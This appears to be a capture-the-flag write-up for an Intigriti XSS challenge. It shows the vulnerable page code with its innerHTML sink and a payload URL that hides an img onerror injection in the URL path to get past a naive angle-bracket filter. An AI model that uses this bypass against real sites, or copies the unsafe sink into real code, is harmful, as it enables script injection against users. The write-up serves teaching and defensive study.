# Description
The challenge presents an HTML form asking you to enter your name. When you submit, it redirects to `/challenge?text=<USER_INPUT>`, which triggers some JavaScript to show a modal “Welcome, <USER_INPUT>!” on the screen. However, the code includes a naive **XSS filter** that attempts to prevent `<` or `>` from appearing in `location.search` or `location.hash` after a single `decodeURIComponent()`.
### Goal
- **Trigger an XSS payload** despite this naive filter.
- **Bypass** the check that blocks any decoded `<`/`>` in `window.location.search` or `window.location.hash`.
---
# Challenge Analysis
Below is the **relevant code**. We focus on the HTML, the `XSS()` check, and the parameter-handling logic:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Welcome 2025!</title>
<!-- (Styling omitted for brevity) -->
</head>
<body>
<form id="textForm" onsubmit="redirectToText(event)">
<h1>Enter your name!</h1>
<label for="inputBox"></label>
<input type="text" id="inputBox" name="inputBox" placeholder="Type here...">
<button type="submit">Submit</button>
</form>
<!-- Modal -->
<div id="modal" class="modal">
<div class="modal-content">
<h2 id="modalText"></h2>
<button onclick="closeModal()">Close</button>
</div>
</div>
<!-- Some styling and animations omitted -->
<script>
// ---------------------------------------------------------------------
// 1. Naive XSS check
// ---------------------------------------------------------------------
function XSS() {
// decodeURIComponent() is called ONCE for location.search and location.hash.
// If we see any < or >, we flag it as XSS.
return decodeURIComponent(window.location.search).includes('<')
|| decodeURIComponent(window.location.search).includes('>')
|| decodeURIComponent(window.location.hash).includes('<')
|| decodeURIComponent(window.location.hash).includes('>');
}
// ---------------------------------------------------------------------
// 2. Get parameter by name (custom regex-based approach)
// ---------------------------------------------------------------------
function getParameterByName(name) {
var url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)");
var results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
// ---------------------------------------------------------------------
// 3. On form submit, redirect to /challenge?text=<encoded input>
// ---------------------------------------------------------------------
function redirectToText(event) {
event.preventDefault();
const inputBox = document.getElementById('inputBox');
const text = encodeURIComponent(inputBox.value);
window.location.href = `/challenge?text=${text}`;
}
// ---------------------------------------------------------------------
// 4. If 'text' exists and XSS() is false, show the modal
// ---------------------------------------------------------------------
function checkQueryParam() {
const text = getParameterByName('text');
if (text && XSS() === false) {
const modal = document.getElementById('modal');
const modalText = document.getElementById('modalText');
modalText.innerHTML = `Welcome, ${text}!`;
textForm.remove();
modal.style.display = 'flex';
}
}
function closeModal() {
location.replace('/challenge');
}
window.onload = function() {
checkQueryParam();
};
</script>
</body>
</html
```
## 2.1 The Naive Filter
The `XSS()` function decodes `window.location.search` **once**, checks for `<` or `>`, and similarly checks the hash. If `<` or `>` is found, it halts. Otherwise, the code does:
```jsx
modalText.innerHTML = `Welcome, ${text}!`;
```
## 2.2 The Regex Parameter Extraction
```jsx
function getParameterByName(name) {
// ...
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)");
// ...
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
```
- This looks for `?text=...` or `&text=...` **anywhere** in `window.location.href` (not strictly in the “official” query portion).
- This mismatch between how the **filter** reads `location.search` and how the **regex** looks in `href` is the key vulnerability.
---
# Solution
## 3.1 Bypassing the Filter in the Path
To exploit the mismatch, we can place `&text=...` **within the path** so that:
- **Browser** sees no official `?` → `window.location.search` is empty or does not contain `<`/`>`.
- The code’s naive check `XSS()` sees no `<`/`>` in `search` or `hash`.
- Meanwhile, `getParameterByName("text")` still detects `&text=...` from the full `href`, yielding a malicious string with real `<` / `>` once decoded.
### 3.1.1 Example Payload URL
A typical exploit might look like:
```
https://challenge-0125.intigriti.io/&text=%3Cimg%20src%20onerror=alert(document.domain)%3E/..%2fchallenge
```
Breaking it down:
1. **No `?`** after the host. Instead, we go straight to `/&text=...`.
2. `%3Cimg%20src%20onerror=alert(document.domain)%3E` decodes to `<img src onerror=alert(document.domain)>`.
3. `/..%2fchallenge` is a path traversal trick that ensures the final **path** the browser resolves is **`/challenge`**
- This is crucial because we need to *land* on `/challenge` (so the front-end code from `/challenge` loads and runs).
- But we also need the `&text=payload` to stay in the final `window.location.href` so that the custom regex sees `&text=...`.
- The result is that the browser’s path eventually is `/challenge`, the script from the page is loaded, and `location.search` is effectively empty or harmless, but `location.href` still contains `&text=...`.
### 3.1.2 What Happens Under the Hood
- `window.location.search` → `""`.
- `XSS()` → sees `decodeURIComponent("")`, no `<`/`>` → returns **false** (“no XSS here”).
- `getParameterByName("text")` uses the regex on the entire `window.location.href`, finds `&text=%3Cimg%20...%3E`.
- Decodes `%3C` as `<`, `%3E` as `>`.
- The code then sets:This is valid HTML containing a real `<img>` with an `onerror` handler → triggers `alert(document.domain)`.
```jsx
modalText.innerHTML = `Welcome, <img src onerror=alert(document.domain)>!`;
```
---
## 3.2 Key Observations
1. **Landing on `/challenge`:**
- The code in the HTML (especially the function `checkQueryParam()`) only runs if the user’s final URL is indeed pointing to the `/challenge` page (or includes it in some form so the browser loads that HTML/JS).
- The string `/..%2fchallenge` manipulates the path so that after the malicious `&text=`, the browser still serves or lands on the correct route.
- This ensures the correct JavaScript is loaded and executed.
2. **Avoiding `<` or `>` in `search`:**
- If `<` / `>` appeared literally in `window.location.search` after decoding, the `XSS()` check would block us.
- By encoding them (`%3C` / `%3E`) and ensuring the browser never interprets them as part of the official query, we slip past the filter.
3. **Regex vs. Browser Query Parsing**:
- The browser’s query parsing expects a `?` to start parameters.
- The custom regex looks for `[?&]text=...` anywhere in the **full** `href`.
- This discrepancy is the root cause that allows the bypass.
---
# Conclusion
### Summary
- **Challenge**: The site tries to block `<` / `>` in `location.search` or `location.hash`.
- **Exploit**: Place `&text=payload` in the **path** (e.g., after a slash) so that `location.search` does not contain `<`/`>`.
- **Ensure** you end up on `/challenge` so that the correct page code is loaded. Hence using `/..%2fchallenge` after your payload in the path.
- **Regex** in `getParameterByName("text")` picks up the parameter from the full URL, decodes `<img src onerror=…>`, and inserts it into `innerHTML`.
- **Result**: The `onerror` attribute triggers JavaScript execution, leading to an XSS popup (`alert(document.domain)`).